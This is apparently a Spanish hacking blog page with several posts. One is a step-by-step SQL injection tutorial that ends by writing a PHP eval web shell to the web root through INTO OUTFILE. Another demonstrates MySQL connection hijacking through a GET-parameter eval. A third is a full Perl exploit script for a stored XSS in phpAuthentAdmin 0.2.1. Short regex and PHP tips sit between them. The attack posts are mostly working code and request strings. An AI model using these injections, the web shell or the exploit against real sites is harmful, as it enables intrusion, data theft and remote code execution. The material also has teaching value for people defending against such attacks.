skip to main | skip to sidebar
Yoyahack
El inteligente no es aquel que lo sabe todo sino aquel que sabe utilizar lo poco que sabe
RSS
  • Home
  • Admin
  • Undersecurity
  • CPAN - Perl
  • PHP

Explicación de INTO OUTFILE en una Inyección SQL

MYSQL, Nivel web, php, vurnerabilidad 3 comentarios

Buenas, muchas veces la personas no saben usar correctamente o no saben como funciona el comando INTO OUTFILE en MYSQL...


Bueno tengo este código PHP vulnerable

<?php
$link = mysql_connect('127.0.0.1','root', 'pass');
mysql_select_db('ejemplo', $link);

$sql = mysql_query('select * from ejemplo where id='.$_GET['id'], $link);
if(mysql_errno($link))
{
echo mysql_error($link);
exit;
}

while($row = mysql_fetch_assoc($sql))
{
echo $row['id']."<br>".$row['titulo']."<br>".$row['contenido']."<br>".$row['parent'];
}
?>
La estructura de la tabla ejemplo, es la siguiente:
mysql> describe ejemplo;
+-----------+-----------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------+-----------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| titulo | char(20) | NO | | NULL | |
| contenido | char(255) | NO | | NULL | |
| parent | char(50) | NO | | NULL | |
+-----------+-----------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

Bueno el código PHP es vulnerable ya que no filtra correctamente el input id que se envía vía GET y por lo tanto podemos manipular la consulta SQL.

El siguiente paso seria saber el user y el host de la conexión MYSQL que se esta usando, podemos usar el comando user()... Para esto vamos a usar el comando UNION ALL, para combinar las consultas, teniendo en cuenta que debemos tener el mismo numero de columna que el SELECT anterior. Bueno como el primer SELECT hace la consulta a todos los campos de la Tabla ejemplo y la tabla ejemplo tiene 4 columnas, pasaremos a hacer la consulta SQL:

mysql> select * from ejemplo where id=1 union all select 1,2,3,4;
+----+---------+--------------------+--------+
| id | titulo | contenido | parent |
+----+---------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| 1 | 2 | 3 | 4 |
+----+---------+--------------------+--------+
La petición GET:
http://127.0.0.1/pruebas.php?id=2 union all select 1,2,3,4
Bueno usamos user() para saber el actual usuario y el host.
mysql> select * from ejemplo where id=1 union all select user(),2,3,4;
+----------------+---------+--------------------+--------+
| id | titulo | contenido | parent |
+----------------+---------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| root@localhost | 2 | 3 | 4 |
+----------------+---------+--------------------+--------+
La petición GET:
http://127.0.0.1/pruebas.php?id=2 union all select user(),2,3,4
Salida: root@localhost

Bueno ahora nos toca saber si el usuario el usuario tienes permiso FILE.

Nota: El permiso FILE permite al usuario usar los comandos into outfile y load_file().



mysql> select * from ejemplo where id=1 union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
+--------------------------------------------------+-----------+--------------------+--------+
| id | titulo | contenido | parent |
+--------------------------------------------------+-----------+--------------------+--------+
| 1 | saludar | Ejemplo de saludar | - |
| root | localhost | 3 | 4 |
+--------------------------------------------------+-----------+--------------------+--------+

La petición GET:
http://127.0.0.1/pruebas.php?id=2 union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
salida: rootlocalhost

Bueno como el usuario tiene permiso FILE podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file...

Mi DocumentRoot se encuentra en /var/www/html. Debemos tener en cuenta que para utilizar into outfile la directiva Magic_quotes_gpc del php no este activada, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y que el directorio tenga permiso de escritura. Debemos indicar donde queremos guardar el archivo cuando usamos el comando INTO OUTFILE.

Bueno realizare la siguiente petición GET:
http://127.0.0.1/pruebas.php?id=2 union all select "<?php @eval($_GET['exec']); ?>",2,3,4 into outfile "/var/www/html/exec.php"
Bueno, ahora pasamos a ejecutar el archivo exec.php pasando la query exec para que se ejecute la función eval.
Luego ejecutamos el archivo exec.php pasandole el valor a la query exec phpinfo(), que nos sirve para mostrarnos la configuración de PHP.

http://127.0.0.1/exec.php?exec=phpinfo();


Saludos.


20:07



Passive Group - Expresiones Regulares

Nivel web, php, programacion, Regexp 0 comentarios

Buenas, los Passive Group se usan para no crear una referencia... Si tengo el siguiente patrón

<?php
preg_match('/(hola)/','hola', $salida);
echo $salida[1];
?>
La salida es hola, el primer paréntesis crea la primera referencia, si existe otro paréntesis creara una segunda referencia, etc... Si usamos Passive Group este no creara una referencia...
<?php
preg_match('/(?:h)(ola)/','hola', $salida);
echo $salida[1];
?>

La salida es ola, en el primer paréntesis uso el Passive Group para no crear una referencia pero en el segundo creo una referencia que seria la primera referencia...

Saludos.


7:41



[PHP Class] HttpLoginConnect

Herramientas, Nivel web, php, POO, programacion 0 comentarios

HttpLoginConnect



HttpLoginConnect es una clase hecha en PHP, especialmente preparada para la validación de datos de un login...

Descripción: HttpLoginConnect valida los datos de un login, verifica que la validación de datos sea correcta y captura la cookie que mandar el servidor, para su posterior uso... Se puede realizar peticiones GET al servidor usando la cookie capturada.

Característica:

  • Validación de datos
  • Uso de Cookie
  • Permite enviar peticiones GET con el uso de cookie
  • Permite parámetros opcionales para enviarlo via POST

Requerimientos:
  • Apache
  • PHP5
  • PHP-Curl
Documentacion
Source

Saludos.


16:59



Mysql Connection Hijacking

MYSQL, Nivel web, php, programacion, vurnerabilidad 0 comentarios

Buenas, hace poco estaba leyendo un White-paper, que mostraba la importancia de la función mysql_close(), que sirve para cerrar conexiones mysql no-persistente, algunas personas no lo usan ya que la conexión se cierra al final del script, otras personas no le dan importancia...

Bueno para entender como funciona, que mejor que un ejemplo:

Este es el código vulnerable:


<?php
$connect = mysql_connect('127.0.0.1','root','password');
mysql_select_db('ejemplo',$connect);

if(mysql_query('select * from nombres where id=1;')){
echo "Consulta ejecutada";
}else{
echo "No se pudo ejecutar la consulta<br><br>";
}
if(isset($_GET['v']))
{
eval($_GET['v']);
}


?>

En este caso como no se ah cerrado la conexión mysql no-persistente y tampoco ah finalisado el script puedo hacer uso de la conexión mysql...


http://127.0.0.1/script.php?v=$sql = mysql_query('select * from nombres');while ($row = mysql_fetch_assoc($sql)){ echo "<br>".$row['nombre'];}

Salida:


Consulta ejecutada
edwin
jose
jesus


Saludos.


Referencias:
Hijacking
MySQL


9:14



¿empty o isset?

Nivel web, php, programacion 4 comentarios

Buenas, aveces tenemos que verificar el contenido de una variable pero mucha veces usamos isset o empty para verificar pero son muy diferente las dos...


Basta con preguntarse porque en php existiría una función con diferente nombre pero con el mismo resultado....

Ps la correcta forma para verificar si una variable esta vacía es empty ya que determina si una variable esta vacía... isset se usa para saber si una variable esta definida...

Saludos....


16:39



Capturacion global con Expresiones Regulares en Perl y PHP

Nivel web, perl, php, programacion, Regexp 0 comentarios

Buenas, aveces necesitamos hacer una captura global con expresiones regulares, ya que cuando encuentra el primer patron hay termina la expresion termina...

Aunque en Perl nunca tuve ese problema en PHP, así que muestro la manera de hacerlo con PHP y Perl.

Perl

En Perl necesito usar el operador de opción g mas una sentencia infinita, en este caso while...



#!/usr/bin/perl -w

$txt = "Hola adios Hola aqwq ds iifndini Hola";

while($txt =~ m/(Hola+)/g){

print $1, "\n";

}

exit;

Salida:


yoya@yoya-desktop:~/Escritorio$ perl d.pl
Hola
Hola
Hola

PHP


En PHP necesito usar la función preg_match_all.


<?php

$txt = "Hola adios Hola aqwq ds iifndini Hola";
preg_match_all("/(Hola+)/", $txt, $captura, PREG_SET_ORDER);
foreach ($captura as $salida){
echo $salida[1];
echo "\n";
}


?>




Salida:


yoya@yoya-desktop:~/Escritorio$ php a.php
Hola
Hola
Hola



Referencias:
Expresiones Regulares


9:37



phpAuthentAdmin 0.2.1 permanent XSS

Exploit, Nivel web, perl, vurnerabilidad, XSS 0 comentarios

Bueno hace poco publique un exploit en security focus, para insetar un código javascript permanente...


#!/usr/bin/perl
#Autor: Yoyahack
#Web: http://undersecurity.net
#Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....

use LWP::UserAgent;
use HTTP::Request::Common;

#Source

print q(---------------------------------
Autor: Yoyahack
Web: http://undersecurity.net
Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....
---------------------------------
);

if(!$ARGV[0]){
print "Insert web\n";
print "Ex: www.webpage.comhttp://www.webpage.com\n";
exit;
}

$xss = qq();
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.2pre)".
"Gecko/20100308 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre");

$response = $ua->request(
POST "http://$ARGV[0]/phpauthent/phpauthentadmin/useradd.php?action=create",
{
action => 'changerealname',
name => $xss,
action => 'rename',
login => 'aaa',
action=> 'password',
password => 'XSS',
action => 'changeemail',
email => 'XSS',
},
'Cookie' => 'PHPSESSID=cf1c170aa9d334d6cec1514e721573e6',
);
$loc = 'index.php?msg=001';
if($loc eq $response->header('location')){
print "\n\nExploit send!\n";
exit;
}
print "\n\nExploit Faield\n";


Referencias:
Info security focus


21:26



Entradas más recientes Entradas antiguas Inicio
Suscribirse a: Entradas (Atom)

    Fedora 15

    FayerWayer

    Cargando...

    Twitter

    Follow @Yoyahack

    Categoria

    • Captcha (1)
    • Exploit (1)
    • Herramientas (10)
    • MYSQL (2)
    • Nivel web (24)
    • Noticias (2)
    • Offtopic (2)
    • perl (11)
    • php (12)
    • POO (1)
    • programacion (19)
    • Regexp (2)
    • Tips (1)
    • vurnerabilidad (7)
    • XSS (2)

    Blog Archive

    • ▼  2012 (1)
      • ▼  abril (1)
        • De regreso
    • ►  2011 (6)
      • ►  octubre (1)
      • ►  septiembre (1)
      • ►  agosto (1)
      • ►  junio (1)
      • ►  marzo (2)
    • ►  2010 (10)
      • ►  octubre (2)
      • ►  septiembre (1)
      • ►  agosto (1)
      • ►  junio (1)
      • ►  abril (2)
      • ►  febrero (3)
    • ►  2009 (15)
      • ►  noviembre (1)
      • ►  octubre (1)
      • ►  septiembre (10)
      • ►  agosto (3)

    Afiliados

    • ANTRAX
    • drvy
    • hachik0
    • Ksha
    • kt0sh
    • Lord RNA
    • Panic
    • pks
    • seth
    • SH4V
    • snakingmax